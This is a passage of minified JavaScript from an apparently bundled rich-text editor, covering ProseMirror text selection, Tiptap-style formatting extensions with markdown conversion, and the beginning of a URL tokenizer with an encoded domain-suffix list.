t.anchor!="number"||typeof t.head!="number")throw new RangeError("Invalid input for TextSelection.fromJSON");return new Vm(e.resolve(t.anchor),e.resolve(t.head))}static create(e,t,n=t){let i=e.resolve(t);return new this(i,n==t?i:e.resolve(n))}static between(e,t,n){let i=e.pos-t.pos;if((!n||i)&&(n=i>=0?1:-1),!t.parent.inlineContent){let r=Qn.findFrom(t,n,!0)||Qn.findFrom(t,-n,!0);if(r)t=r.$head;else return Qn.near(t,n)}return e.parent.inlineContent||(i==0?e=t:(e=(Qn.findFrom(e,-n,!0)||Qn.findFrom(e,n,!0)).$anchor,e.pos0?0:1);i>0?o=0;o+=i){let a=e.child(o);if(a.isAtom){if(!r&&om.isSelectable(a))return om.create(s,t-(i<0?a.nodeSize:0))}else{let c=lp(s,a,t+i,i<0?a.childCount:0,i,r);if(c)return c}t+=a.nodeSize*i}return null}function yI(s,e,t){let n=s.steps.length-1;if(n{o==null&&(o=u)}),s.setSelection(Qn.near(s.doc.resolve(o),t))}function bI(s,e){return!e||!s?s:s.bind(e)}var D_=class{constructor(s,e,t){this.name=s,this.init=bI(e.init,t),this.apply=bI(e.apply,t)}};new D_("doc",{init(s){return s.doc||s.schema.topNodeType.createAndFill()},apply(s){return s.doc}}),new D_("selection",{init(s,e){return s.selection||Qn.atStart(e.doc)},apply(s){return s.selection}}),new D_("storedMarks",{init(s){return s.storedMarks||null},apply(s,e,t,n){return n.selection.$cursor?s.storedMarks:null}}),new D_("scrollToSelection",{init(){return 0},apply(s,e){return s.scrolledIntoView?e+1:e}});var OK=(s,e)=>{var t;const{state:n,view:i}=s,{selection:r}=n;if(!r.empty)return!1;const{$from:o}=r;if(o.parentOffset!==0)return!1;const a=o.depth-1,c=o.node(a),l=o.index(a);if(l===0)return!1;if(c.type===e)return s.commands.lift(e.name);const u=c.child(l-1);if(u.type!==e||!((t=u.lastChild)!=null&&t.isTextblock))return!1;const h=o.before(),p=h-1-1,{tr:m}=n;return m.delete(h,o.after()).insert(p,o.parent.content),m.setSelection(rm.create(m.doc,p)),i.dispatch(m.scrollIntoView()),!0},DK=/^\s*>\s$/,NK=Sr.create({name:"blockquote",addOptions(){return{HTMLAttributes:{}}},content:"block+",group:"block",defining:!0,parseHTML(){return[{tag:"blockquote"}]},renderHTML({HTMLAttributes:s}){return Lw("blockquote",{...Fs(this.options.HTMLAttributes,s),children:Lw("slot",{})})},parseMarkdown:(s,e)=>{var t;const n=(t=e.parseBlockChildren)!=null?t:e.parseChildren;return e.createNode("blockquote",void 0,n(s.tokens||[]))},renderMarkdown:(s,e)=>{if(!s.content)return"";const t=">",n=[];return s.content.forEach((i,r)=>{var o,a;const u=((a=(o=e.renderChild)==null?void 0:o.call(e,i,r))!=null?a:e.renderChildren([i])).split(` +`).map(h=>h.trim()===""?t:`${t} ${h}`);n.push(u.join(` +`))}),n.join(` +${t} +`)},addCommands(){return{setBlockquote:()=>({commands:s})=>s.wrapIn(this.name),toggleBlockquote:()=>({commands:s})=>s.toggleWrap(this.name),unsetBlockquote:()=>({commands:s})=>s.lift(this.name)}},addKeyboardShortcuts(){return{"Mod-Shift-b":()=>this.editor.commands.toggleBlockquote(),Backspace:()=>OK(this.editor,this.type)}},addInputRules(){return[im({find:DK,type:this.type})]}}),BK=/(?:^|\s)(\*\*(?!\s+\*\*)((?:[^*]+))\*\*(?!\s+\*\*))$/,FK=/(?:^|\s)(\*\*(?!\s+\*\*)((?:[^*]+))\*\*(?!\s+\*\*))/g,$K=/(?:^|\s)(__(?!\s+__)((?:[^_]+))__(?!\s+__))$/,HK=/(?:^|\s)(__(?!\s+__)((?:[^_]+))__(?!\s+__))/g,UK=Df.create({name:"bold",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"strong"},{tag:"b",getAttrs:s=>s.style.fontWeight!=="normal"&&null},{style:"font-weight=400",clearMark:s=>s.type.name===this.name},{style:"font-weight",getAttrs:s=>/^(bold(er)?|[5-9]\d{2,})$/.test(s)&&null}]},renderHTML({HTMLAttributes:s}){return Lw("strong",{...Fs(this.options.HTMLAttributes,s),children:Lw("slot",{})})},markdownTokenName:"strong",parseMarkdown:(s,e)=>e.applyMark("bold",e.parseInline(s.tokens||[])),markdownOptions:{htmlReopen:{open:"",close:""}},renderMarkdown:(s,e)=>`**${e.renderChildren(s)}**`,addCommands(){return{setBold:()=>({commands:s})=>s.setMark(this.name),toggleBold:()=>({commands:s})=>s.toggleMark(this.name),unsetBold:()=>({commands:s})=>s.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-b":()=>this.editor.commands.toggleBold(),"Mod-B":()=>this.editor.commands.toggleBold()}},addInputRules(){return[nm({find:BK,type:this.type}),nm({find:$K,type:this.type})]},addPasteRules(){return[xf({find:FK,type:this.type}),xf({find:HK,type:this.type})]}}),WK=s=>{const e=/`([^`]+)`(?!`)$/.exec(s);return!e||e.index>0&&s[e.index-1]==="`"?null:{index:e.index,text:e[0],replaceWith:e[1]}},zK=s=>{const e=/`([^`]+)`(?!`)/g,t=[];let n;for(;(n=e.exec(s))!==null;)n.index>0&&s[n.index-1]==="`"||t.push({index:n.index,text:n[0],replaceWith:n[1]});return t},jK=Df.create({name:"code",addOptions(){return{HTMLAttributes:{}}},excludes:"_",code:!0,exitable:!0,parseHTML(){return[{tag:"code"}]},renderHTML({HTMLAttributes:s}){return["code",Fs(this.options.HTMLAttributes,s),0]},markdownTokenName:"codespan",parseMarkdown:(s,e)=>e.applyMark("code",[{type:"text",text:s.text||""}]),renderMarkdown:(s,e)=>s.content?`\`${e.renderChildren(s.content)}\``:"",addCommands(){return{setCode:()=>({commands:s})=>s.setMark(this.name),toggleCode:()=>({commands:s})=>s.toggleMark(this.name),unsetCode:()=>({commands:s})=>s.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-e":()=>this.editor.commands.toggleCode()}},addInputRules(){return[nm({find:WK,type:this.type})]},addPasteRules(){return[xf({find:zK,type:this.type})]}}),AC=4,VK=/^```([a-z]+)?[\s\n]$/,GK=/^~~~([a-z]+)?[\s\n]$/,qK=Sr.create({name:"codeBlock",addOptions(){return{languageClassPrefix:"language-",exitOnTripleEnter:!0,exitOnArrowDown:!0,defaultLanguage:null,enableTabIndentation:!1,tabSize:AC,HTMLAttributes:{}}},content:"text*",marks:"",group:"block",code:!0,defining:!0,addAttributes(){return{language:{default:this.options.defaultLanguage,parseHTML:s=>{var e;const{languageClassPrefix:t}=this.options;if(!t)return null;const r=[...((e=s.firstElementChild)==null?void 0:e.classList)||[]].filter(o=>o.startsWith(t)).map(o=>o.replace(t,""))[0];return r||null},rendered:!1}}},parseHTML(){return[{tag:"pre",preserveWhitespace:"full"}]},renderHTML({node:s,HTMLAttributes:e}){return["pre",Fs(this.options.HTMLAttributes,e),["code",{class:s.attrs.language?this.options.languageClassPrefix+s.attrs.language:null},0]]},markdownTokenName:"code",parseMarkdown:(s,e)=>{var t,n;return((t=s.raw)==null?void 0:t.startsWith("```"))===!1&&((n=s.raw)==null?void 0:n.startsWith("~~~"))===!1&&s.codeBlockStyle!=="indented"?[]:e.createNode("codeBlock",{language:s.lang||null},s.text?[e.createTextNode(s.text)]:[])},renderMarkdown:(s,e)=>{var t;let n="";const i=((t=s.attrs)==null?void 0:t.language)||"";return s.content?n=[`\`\`\`${i}`,e.renderChildren(s.content),"```"].join(` +`):n=`\`\`\`${i} + +\`\`\``,n},addCommands(){return{setCodeBlock:s=>({commands:e})=>e.setNode(this.name,s),toggleCodeBlock:s=>({commands:e})=>e.toggleNode(this.name,"paragraph",s)}},addKeyboardShortcuts(){return{"Mod-Alt-c":()=>this.editor.commands.toggleCodeBlock(),Backspace:()=>{const{empty:s,$anchor:e}=this.editor.state.selection,t=e.pos===1;return!s||e.parent.type.name!==this.name?!1:t||!e.parent.textContent.length?this.editor.commands.clearNodes():!1},Tab:({editor:s})=>{var e;if(!this.options.enableTabIndentation)return!1;const t=(e=this.options.tabSize)!=null?e:AC,{state:n}=s,{selection:i}=n,{$from:r,empty:o}=i;if(r.parent.type!==this.type)return!1;const a=" ".repeat(t);return o?s.commands.insertContent(a):s.commands.command(({tr:c})=>{const{from:l,to:u}=i,p=n.doc.textBetween(l,u,` +`,` +`).split(` +`).map(m=>a+m).join(` +`);return c.replaceWith(l,u,n.schema.text(p)),!0})},"Shift-Tab":({editor:s})=>{var e;if(!this.options.enableTabIndentation)return!1;const t=(e=this.options.tabSize)!=null?e:AC,{state:n}=s,{selection:i}=n,{$from:r,empty:o}=i;return r.parent.type!==this.type?!1:o?s.commands.command(({tr:a})=>{var c;const{pos:l}=r,u=r.start(),h=r.end(),p=n.doc.textBetween(u,h,` +`,` +`).split(` +`);let m=0,v=0;const g=l-u;for(let C=0;C=g){m=C;break}v+=p[C].length+1}const b=((c=p[m].match(/^ */))==null?void 0:c[0])||"",_=Math.min(b.length,t);if(_===0)return!0;let w=u;for(let C=0;C{const{from:c,to:l}=i,d=n.doc.textBetween(c,l,` +`,` +`).split(` +`).map(p=>{var m;const v=((m=p.match(/^ */))==null?void 0:m[0])||"",g=Math.min(v.length,t);return p.slice(g)}).join(` +`);return a.replaceWith(c,l,n.schema.text(d)),!0})},Enter:({editor:s})=>{if(!this.options.exitOnTripleEnter)return!1;const{state:e}=s,{selection:t}=e,{$from:n,empty:i}=t;if(!i||n.parent.type!==this.type)return!1;const r=n.parentOffset===n.parent.nodeSize-2,o=n.parent.textContent.endsWith(` + +`);return!r||!o?!1:s.chain().command(({tr:a})=>(a.delete(n.pos-2,n.pos),!0)).exitCode().run()},ArrowDown:({editor:s})=>{if(!this.options.exitOnArrowDown)return!1;const{state:e}=s,{selection:t,doc:n}=e,{$from:i,empty:r}=t;if(!r||i.parent.type!==this.type||!(i.parentOffset===i.parent.nodeSize-2))return!1;const a=i.after();return a===void 0?!1:n.nodeAt(a)?s.commands.command(({tr:l})=>(l.setSelection(Ft.near(n.resolve(a))),!0)):s.commands.exitCode()}}},addInputRules(){return[Q1({find:VK,type:this.type,getAttributes:s=>({language:s[1]})}),Q1({find:GK,type:this.type,getAttributes:s=>({language:s[1]})})]},addProseMirrorPlugins(){return[new $s({key:new fn("codeBlockVSCodeHandler"),props:{handlePaste:(s,e)=>{if(!e.clipboardData||this.editor.isActive(this.type.name))return!1;const t=e.clipboardData.getData("text/plain"),n=e.clipboardData.getData("vscode-editor-data"),i=n?JSON.parse(n):void 0,r=i==null?void 0:i.mode;if(!t||!r)return!1;const{tr:o,schema:a}=s.state,c=a.text(t.replace(/\r\n?/g,` +`));return o.replaceSelectionWith(this.type.create({language:r},c)),o.selection.$from.parent.type!==this.type&&o.setSelection(_t.near(o.doc.resolve(Math.max(0,o.selection.from-2)))),o.setMeta("paste",!0),s.dispatch(o),!0}}})]}}),KK=Sr.create({name:"doc",topNode:!0,content:"block+",renderMarkdown:(s,e)=>s.content?e.renderChildren(s.content,` + +`):""}),QK=Sr.create({name:"hardBreak",markdownTokenName:"br",addOptions(){return{keepMarks:!0,HTMLAttributes:{}}},inline:!0,group:"inline",selectable:!1,linebreakReplacement:!0,parseHTML(){return[{tag:"br"}]},renderHTML({HTMLAttributes:s}){return["br",Fs(this.options.HTMLAttributes,s)]},renderText(){return` +`},renderMarkdown:()=>` +`,parseMarkdown:()=>({type:"hardBreak"}),addCommands(){return{setHardBreak:()=>({commands:s,chain:e,state:t,editor:n})=>s.first([()=>s.exitCode(),()=>s.command(()=>{const{selection:i,storedMarks:r}=t;if(i.$from.parent.type.spec.isolating)return!1;const{keepMarks:o}=this.options,{splittableMarks:a}=n.extensionManager,c=r||i.$to.parentOffset&&i.$from.marks();return e().insertContent({type:this.name}).command(({tr:l,dispatch:u})=>{if(u&&c&&o){const h=c.filter(d=>a.includes(d.type.name));l.ensureMarks(h)}return!0}).run()})])}},addKeyboardShortcuts(){return{"Mod-Enter":()=>this.editor.commands.setHardBreak(),"Shift-Enter":()=>this.editor.commands.setHardBreak()}}}),XK=Sr.create({name:"heading",addOptions(){return{levels:[1,2,3,4,5,6],HTMLAttributes:{}}},content:"inline*",group:"block",defining:!0,addAttributes(){return{level:{default:1,rendered:!1}}},parseHTML(){return this.options.levels.map(s=>({tag:`h${s}`,attrs:{level:s}}))},renderHTML({node:s,HTMLAttributes:e}){return[`h${this.options.levels.includes(s.attrs.level)?s.attrs.level:this.options.levels[0]}`,Fs(this.options.HTMLAttributes,e),0]},parseMarkdown:(s,e)=>e.createNode("heading",{level:s.depth||1},e.parseInline(s.tokens||[])),renderMarkdown:(s,e)=>{var t;const n=(t=s.attrs)!=null&&t.level?parseInt(s.attrs.level,10):1,i="#".repeat(n);return s.content?`${i} ${e.renderChildren(s.content)}`:""},addCommands(){return{setHeading:s=>({commands:e})=>this.options.levels.includes(s.level)?e.setNode(this.name,s):!1,toggleHeading:s=>({commands:e})=>this.options.levels.includes(s.level)?e.toggleNode(this.name,"paragraph",s):!1}},addKeyboardShortcuts(){return this.options.levels.reduce((s,e)=>({...s,[`Mod-Alt-${e}`]:()=>this.editor.commands.toggleHeading({level:e})}),{})},addInputRules(){return this.options.levels.map(s=>Q1({find:new RegExp(`^(#{${Math.min(...this.options.levels)},${s}})\\s$`),type:this.type,getAttributes:{level:s}}))}}),YK=Sr.create({name:"horizontalRule",addOptions(){return{HTMLAttributes:{},nextNodeType:"paragraph"}},group:"block",parseHTML(){return[{tag:"hr"}]},renderHTML({HTMLAttributes:s}){return["hr",Fs(this.options.HTMLAttributes,s)]},markdownTokenName:"hr",parseMarkdown:(s,e)=>e.createNode("horizontalRule"),renderMarkdown:()=>"---",addCommands(){return{setHorizontalRule:()=>({chain:s,state:e})=>{if(!gK(e,e.schema.nodes[this.name]))return!1;const{selection:t}=e,{$to:n}=t,i=s();return hO(t)?i.insertContentAt(n.pos,{type:this.name}):i.insertContent({type:this.name}),i.command(({state:r,tr:o,dispatch:a})=>{if(a){const{$to:c}=o.selection,l=c.end();if(c.nodeAfter)c.nodeAfter.isTextblock?o.setSelection(_t.create(o.doc,c.pos+1)):c.nodeAfter.isBlock?o.setSelection(vt.create(o.doc,c.pos)):o.setSelection(_t.create(o.doc,c.pos));else{const u=r.schema.nodes[this.options.nextNodeType]||c.parent.type.contentMatch.defaultType,h=u==null?void 0:u.create();h&&(o.insert(l,h),o.setSelection(_t.create(o.doc,l+1)))}o.scrollIntoView()}return!0}).run()}}},addInputRules(){return[pK({find:/^(?:---|—-|___\s|\*\*\*\s)$/,type:this.type})]}}),JK=/(?:^|\s)(\*(?!\s+\*)((?:[^*]+))\*(?!\s+\*))$/,ZK=/(?:^|\s)(\*(?!\s+\*)((?:[^*]+))\*(?!\s+\*))/g,eQ=/(?:^|\s)(_(?!\s+_)((?:[^_]+))_(?!\s+_))$/,tQ=/(?:^|\s)(_(?!\s+_)((?:[^_]+))_(?!\s+_))/g,sQ=Df.create({name:"italic",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"em"},{tag:"i",getAttrs:s=>s.style.fontStyle!=="normal"&&null},{style:"font-style=normal",clearMark:s=>s.type.name===this.name},{style:"font-style=italic"}]},renderHTML({HTMLAttributes:s}){return["em",Fs(this.options.HTMLAttributes,s),0]},addCommands(){return{setItalic:()=>({commands:s})=>s.setMark(this.name),toggleItalic:()=>({commands:s})=>s.toggleMark(this.name),unsetItalic:()=>({commands:s})=>s.unsetMark(this.name)}},markdownTokenName:"em",parseMarkdown:(s,e)=>e.applyMark("italic",e.parseInline(s.tokens||[])),markdownOptions:{htmlReopen:{open:"",close:""}},renderMarkdown:(s,e)=>`*${e.renderChildren(s)}*`,addKeyboardShortcuts(){return{"Mod-i":()=>this.editor.commands.toggleItalic(),"Mod-I":()=>this.editor.commands.toggleItalic()}},addInputRules(){return[nm({find:JK,type:this.type}),nm({find:eQ,type:this.type})]},addPasteRules(){return[xf({find:ZK,type:this.type}),xf({find:tQ,type:this.type})]}});const nQ="aaa1rp3bb0ott3vie4c1le2ogado5udhabi7c0ademy5centure6ountant0s9o1tor4d0s1ult4e0g1ro2tna4f0l1rica5g0akhan5ency5i0g1rbus3force5tel5kdn3l0ibaba4pay4lfinanz6state5y2sace3tom5m0azon4ericanexpress7family11x2fam3ica3sterdam8nalytics7droid5quan4z2o0l2partments8p0le4q0uarelle8r0ab1mco4chi3my2pa2t0e3s0da2ia2sociates9t0hleta5torney7u0ction5di0ble3o3spost5thor3o0s4w0s2x0a2z0ure5ba0by2idu3namex4d1k2r0celona5laycard4s5efoot5gains6seball5ketball8uhaus5yern5b0c1t1va3cg1n2d1e0ats2uty4er2rlin4st0buy5t2f1g1h0arti5i0ble3d1ke2ng0o3o1z2j1lack0friday9ockbuster8g1omberg7ue3m0s1w2n0pparibas9o0ats3ehringer8fa2m1nd2o0k0ing5sch2tik2on4t1utique6x2r0adesco6idgestone9oadway5ker3ther5ussels7s1t1uild0ers6siness6y1zz3v1w1y1z0h3ca0b1fe2l0l1vinklein9m0era3p2non3petown5ital0one8r0avan4ds2e0er0s4s2sa1e1h1ino4t0ering5holic7ba1n1re3c1d1enter4o1rn3f0a1d2g1h0anel2nel4rity4se2t2eap3intai5ristmas6ome4urch5i0priani6rcle4sco3tadel4i0c2y3k1l0aims4eaning6ick2nic1que6othing5ud3ub0med6m1n1o0ach3des3ffee4llege4ogne5m0mbank4unity6pany2re3uter5sec4ndos3struction8ulting7tact3ractors9oking4l1p2rsica5untry4pon0s4rses6pa2r0edit0card4union9icket5own3s1uise0s6u0isinella9v1w1x1y0mru3ou3z2dad1nce3ta1e1ing3sun4y2clk3ds2e0al0er2s3gree4livery5l1oitte5ta3mocrat6ntal2ist5si0gn4v2hl2iamonds6et2gital5rect0ory7scount3ver5h2y2j1k1m1np2o0cs1tor4g1mains5t1wnload7rive4tv2ubai3pont4rban5vag2r2z2earth3t2c0o2deka3u0cation8e1g1mail3erck5nergy4gineer0ing9terprises10pson4quipment8r0icsson6ni3s0q1tate5t1u0rovision8s2vents5xchange6pert3osed4ress5traspace10fage2il1rwinds6th3mily4n0s2rm0ers5shion4t3edex3edback6rrari3ero6i0delity5o2lm2nal1nce1ial7re0stone6mdale6sh0ing5t0ness6j1k1lickr3ghts4r2orist4wers5y2m1o0o0d1tball6rd1ex2sale4um3undation8x2r0ee1senius7l1ogans4ntier7tr2ujitsu5n0d2rniture7tbol5yi3ga0l0lery3o1up4me0s3p1rden4y2b0iz3d0n2e0a1nt0ing5orge5f1g0ee3h1i0ft0s3ves2ing5l0ass3e1obal2o4m0ail3bh2o1x2n1odaddy5ld0point6f2odyear5g0le4p1t1v2p1q1r0ainger5phics5tis4een3ipe3ocery4up4s1t1u0cci3ge2ide2tars5ru3w1y2hair2mburg5ngout5us3bo2dfc0bank7ealth0care8lp1sinki6re1mes5iphop4samitsu7tachi5v2k0t2m1n1ockey4ldings5iday5medepot5goods5s0ense7nda3rse3spital5t0ing5t0els3mail5use3w2r1sbc3t1u0ghes5yatt3undai7ibm2cbc2e1u2d1e0ee3fm2kano4l1m0amat4db2mo0bilien9n0c1dustries8finiti5o2g1k1stitute6urance4e4t0ernational10uit4vestments10o1piranga7q1r0ish4s0maili5t0anbul7t0au2v3jaguar4va3cb2e0ep2tzt3welry6io2ll2m0p2nj2o0bs1urg4t1y2p0morgan6rs3uegos4niper7kaufen5ddi3e0rryhotels6properties14fh2g1h1i0a1ds2m1ndle4tchen5wi3m1n1oeln3matsu5sher5p0mg2n2r0d1ed3uokgroup8w1y0oto4z2la0caixa5mborghini8er3nd0rover6xess5salle5t0ino3robe5w0yer5b1c1ds2ease3clerc5frak4gal2o2xus4gbt3i0dl2fe0insurance9style7ghting6ke2lly3mited4o2ncoln4k2ve1ing5k1lc1p2oan0s3cker3us3l1ndon4tte1o3ve3pl0financial11r1s1t0d0a3u0ndbeck6xe1ury5v1y2ma0drid4if1son4keup4n0agement7go3p1rket0ing3s4riott5shalls7ttel5ba2c0kinsey7d1e0d0ia3et2lbourne7me1orial6n0u2rck0msd7g1h1iami3crosoft7l1ni1t2t0subishi9k1l0b1s2m0a2n1o0bi0le4da2e1i1m1nash3ey2ster5rmon3tgage6scow4to0rcycles9v0ie4p1q1r1s0d2t0n1r2u0seum3ic4v1w1x1y1z2na0b1goya4me2vy3ba2c1e0c1t0bank4flix4work5ustar5w0s2xt0direct7us4f0l2g0o2hk2i0co2ke1on3nja3ssan1y5l1o0kia3rton4w0ruz3tv4p1r0a1w2tt2u1yc2z2obi1server7ffice5kinawa6layan0group9lo3m0ega4ne1g1l0ine5oo2pen3racle3nge4g0anic5igins6saka4tsuka4t2vh3pa0ge2nasonic7ris2s1tners4s1y3y2ccw3e0t2f0izer5g1h0armacy6d1ilips5one2to0graphy6s4ysio5ics1tet2ures6d1n0g1k2oneer5zza4k1l0ace2y0station9umbing5s3m1n0c2ohl2ker3litie5rn2st3r0axi3ess3ime3o0d0uctions8f1gressive8mo2perties3y5tection8u0dential9s1t1ub2w0c2y2qa1pon3uebec3st5racing4dio4e0ad1lestate6tor2y4cipes5d0umbrella9hab3ise0n3t2liance6n0t0als5pair3ort3ublican8st0aurant8view0s5xroth6ich0ardli6oh3l1o1p2o0cks3deo3gers4om3s0vp3u0gby3hr2n2w0e2yukyu6sa0arland6fe0ty4kura4le1on3msclub4ung5ndvik0coromant12ofi4p1rl2s1ve2xo3b0i1s2c0b1haeffler7midt4olarships8ol3ule3warz5ience5ot3d1e0arch3t2cure1ity6ek2lect4ner3rvices6ven3w1x0y3fr2g1h0angrila6rp3ell3ia1ksha5oes2p0ping5uji3w3i0lk2na1gles5te3j1k0i0n2y0pe4l0ing4m0art3ile4n0cf3o0ccer3ial4ftbank4ware6hu2lar2utions7ng1y2y2pa0ce3ort2t3r0l2s1t0ada2ples4r1tebank4farm7c0group6ockholm6rage3e3ream4udio2y3yle4u0cks3pplies3y2ort5rf1gery5zuki5v1watch4iss4x1y0dney4stems6z2tab1ipei4lk2obao4rget4tamotors6r2too4x0i3c0i2d0k2eam2ch0nology8l1masek5nnis4va3f1g1h0d1eater2re6iaa2ckets5enda4ps2res2ol4j0maxx4x2k0maxx5l1m0all4n1o0day3kyo3ols3p1ray3shiba5tal3urs3wn2yota3s3r0ade1ing4ining5vel0ers0insurance16ust3v2t1ube2i1nes3shu4v0s2w1z2ua1bank3s2g1k1nicom3versity8o2ol2ps2s1y1z2va0cations7na1guard7c1e0gas3ntures6risign5mögensberater2ung14sicherung10t2g1i0ajes4deo3g1king4llas4n1p1rgin4sa1ion4va1o3laanderen9n1odka3lvo3te1ing3o2yage5u2wales2mart4ter4ng0gou5tch0es6eather0channel12bcam3er2site5d0ding5ibo2r3f1hoswho6ien2ki2lliamhill9n0dows4e1ners6me2oodside6rk0s2ld3w2s1tc1f3xbox3erox4ihuan4n2xx2yz3yachts4hoo3maxun5ndex5e1odobashi7ga2kohama6u0tube6t1un3za0ppos4ra3ero3ip2m1one3uerich6w2",iQ="ελ1υ2бг1ел3дети4ею2католик6ом3мкд2он1сква6онлайн5рг3рус2ф2сайт3рб3укр3қаз3հայ3ישראל5קום3ابوظبي5رامكو5لاردن4بحرين5جزائر5سعودية6عليان5مغرب5مارات5یران5بارت2زار4يتك3ھارت5تونس4سودان3رية5شبكة4عراق2ب2مان4فلسطين6قطر3كاثوليك6وم3مصر2ليسيا5وريتانيا7قع4همراه5پاکستان7ڀارت4कॉम3नेट3भारत0म्3ोत5संगठन5বাংলা5ভারত2ৰত4ਭਾਰਤ4ભારત4ଭାରତ4இந்தியா6லங்கை6சிங்கப்பூர்11భారత్5ಭಾರತ4ഭാരതം5ලංකා4คอม3ไทย3ລາວ3გე2みんな3アマゾン4クラウド4グーグル4コム2ストア3セール3ファッション6ポイント4世界2中信1国1國1文网3亚马逊3企业2佛山2信息2健康2八卦2公司1益2台湾1灣2商城1店1标2嘉里0大酒店5在线2大拿2天主教3娱乐2家電2广东2微博2慈善2我爱你3手机2招聘2政务1府2新加坡2闻2时尚2書籍2机构2淡马锡3游戏2澳門2点看2移动2组织机构4网址1店1站1络2联通2谷歌2购物2通販2集团2電訊盈科4飞利浦3食品2餐厅2香格里拉3港2닷넷1컴2삼성2한국2",eT="numeric",tT="ascii",sT="alpha",Lv="asciinumeric",qm="alphanumeric",nT="domain",KO="emoji",rQ="scheme",oQ="slashscheme",EC="whitespace";function aQ(s,e){return s in e||(e[s]=[]),e[s]}function $h(s,e,t){e[eT]&&(e[Lv]=!0,e[qm]=!0),e[tT]&&(e[Lv]=!0,e[sT]=!0),e[Lv]&&(e[qm]=!0),e[sT]&&(e[qm]=!0),e[qm]&&(e[nT]=!0),e[KO]&&(e[nT]=!0);for(const n in e){const i=aQ(n,t);i.indexOf(s)<0&&i.push(s)}}function lQ(s,e){const t={};for(const n in e)e[n].indexOf(s)>=0&&(t[n]=!0);return t}function mr(s=null){this.j={},this.jr=[],this.jd=null,this.t=s}mr.groups={};mr.prototype={accepts(){return!!this.t},go(s){const e=this,t=e.j[s];if(t)return t;for(let n=0;ns.ta(e,t,n,i),Ys=(s,e,t,n,i)=>s.tr(e,t,n,i),_I=(s,e,t,n,i)=>s.ts(e,t,n,i),Pe=(s,e,t,n,i)=>s.tt(e,t,n,i),Cl="WORD",iT="UWORD",QO="ASCIINUMERICAL",XO="ALPHANUMERICAL",ny="LOCALHOST",rT="TLD",oT="UTLD",_S="SCHEME",cp="SLASH_SCHEME",qE="NUM",aT="WS",KE="NL",Pv="OPENBRACE",Ov="CLOSEBRACE",Pw="OPENBRACKET",Ow="CLOSEBRACKET",Dw="OPENPAREN",Nw="CLOSEPAREN",Bw="OPENANGLEBRACKET",Fw="CLOSEANGLEBRACKET",$w="FULLWIDTHLEFTPAREN",Hw="FULLWIDTHRIGHTPAREN",Uw="LEFTCORNERBRACKET",Ww="RIGHTCORNERBRACKET",zw="LEFTWHITECORNERBRACKET",jw="RIGHTWHITECORNERBRACKET",Vw="FULLWIDTHLESSTHAN",Gw="FULLWIDTHGREATERTHAN",qw="AMPERSAND",Kw="APOSTROPHE",Qw="ASTERISK",Xc="AT",Xw="BACKSLASH",Yw="BACKTICK",Jw="CARET",Hh="COLON",QE="COMMA",Zw="DOLLAR",Ea="DOT",e0="EQUALS",XE="EXCLAMATION",fo="HYPHEN",Dv="PERCENT",t0="PIPE",s0="PLUS",n0="POUND",Nv="QUERY",YE="QUOTE",YO="FULLWIDTHMIDDLEDOT",JE="SEMI",Ma="SLASH",Bv="TILDE",i0="UNDERSCORE",JO="EMOJI",r0="SYM";var ZO=Object.freeze({__proto__:null,ALPHANUMERICAL:XO,AMPERSAND:qw,APOSTROPHE:Kw,ASCIINUMERICAL:QO,ASTERISK:Qw,AT:Xc,BACKSLASH:Xw,BACKTICK:Yw,CARET:Jw,CLOSEANGLEBRACKET:Fw,CLOSEBRACE:Ov,CLOSEBRACKET:Ow,CLOSEPAREN:Nw,COLON:Hh,COMMA:QE,DOLLAR:Zw,DOT:Ea,EMOJI:JO,EQUALS:e0,EXCLAMATION:XE,FULLWIDTHGREATERTHAN:Gw,FULLWIDTHLEFTPAREN:$w,FULLWIDTHLESSTHAN:Vw,FULLWIDTHMIDDLEDOT:YO,FULLWIDTHRIGHTPAREN:Hw,HYPHEN:fo,LEFTCORNERBRACKET:Uw,LEFTWHITECORNERBRACKET:zw,LOCALHOST:ny,NL:KE,NUM:qE,OPENANGLEBRACKET:Bw,OPENBRACE:Pv,OPENBRACKET:Pw,OPENPAREN:Dw,PERCENT:Dv,PIPE:t0,PLUS:s0,POUND:n0,QUERY:Nv,QUOTE:YE,RIGHTCORNERBRACKET:Ww,RIGHTWHITECORNERBRACKET:jw,SCHEME:_S,SEMI:JE,SLASH:Ma,SLASH_SCHEME:cp,SYM:r0,TILDE:Bv,TLD:rT,UNDERSCORE:i0,UTLD:oT,UWORD:iT,WORD:Cl,WS:aT});const _l=/[a-z]/,wm=new RegExp("\\p{L}","u"),MC=new RegExp("\\p{Emoji}","u"),Sl=/\d/,xC=/\s/,SI="\r",IC=` +`,cQ="️",uQ="‍",RC="";let N_=null,B_=null;function hQ(s=[]){const e={};mr.groups=e;const t=new mr;N_==null&&(N_=wI(nQ)),B_==null&&(B_=wI(iQ)),Pe(t,"'",Kw),Pe(t,"{",Pv),Pe(t,"}",Ov),Pe(t,"[",Pw),Pe(t,"]",Ow),Pe(t,"(",Dw),Pe(t,")",Nw),Pe(t,"<",Bw),Pe(t,">",Fw),Pe(t,"(",$w),Pe(t,")",Hw),Pe(t,"「",Uw),Pe(t,"」",Ww),Pe(t,"『",zw),Pe(t,"』",jw),Pe(t,"<",Vw),Pe(t,">",Gw),Pe(t,"&",qw),Pe(t,"*",Qw),Pe(t,"@",Xc),Pe(t,"`",Yw),Pe(t,"^",Jw),Pe(t,":",Hh),Pe(t,",",QE),Pe(t,"$",Zw),Pe(t,".",Ea),Pe(t,"=",e0),Pe(t,"!",XE),Pe(t,"-",fo),Pe(t,"%",Dv),Pe(t,"|",t0),Pe(t,"+",s0),Pe(t,"#",n0),Pe(t,"?",Nv),Pe(t,'"',YE),Pe(t,"/",Ma),Pe(t,";",JE),Pe(t,"~",Bv),Pe(t,"_",i0),Pe(t,"\\",Xw),Pe(t,"・",YO);const n=Ys(t,Sl,qE,{[eT]:!0});Ys(n,Sl,n);const i=Ys(n,_l,QO,{[Lv]:!0}),r=Ys(n,wm,XO,{[qm]:!0}),o=Ys(t,_l,Cl,{[tT]:!0});Ys(o,Sl,i),Ys(o,_l,o),Ys(i,Sl,i),Ys(i,_l,i);const a=Ys(t,wm,iT,{[sT]:!0});Ys(a,_l),Ys(a,Sl,r),Ys(a,wm,a),Ys(r,Sl,r),Ys(r,_l),Ys(r,wm,r);const 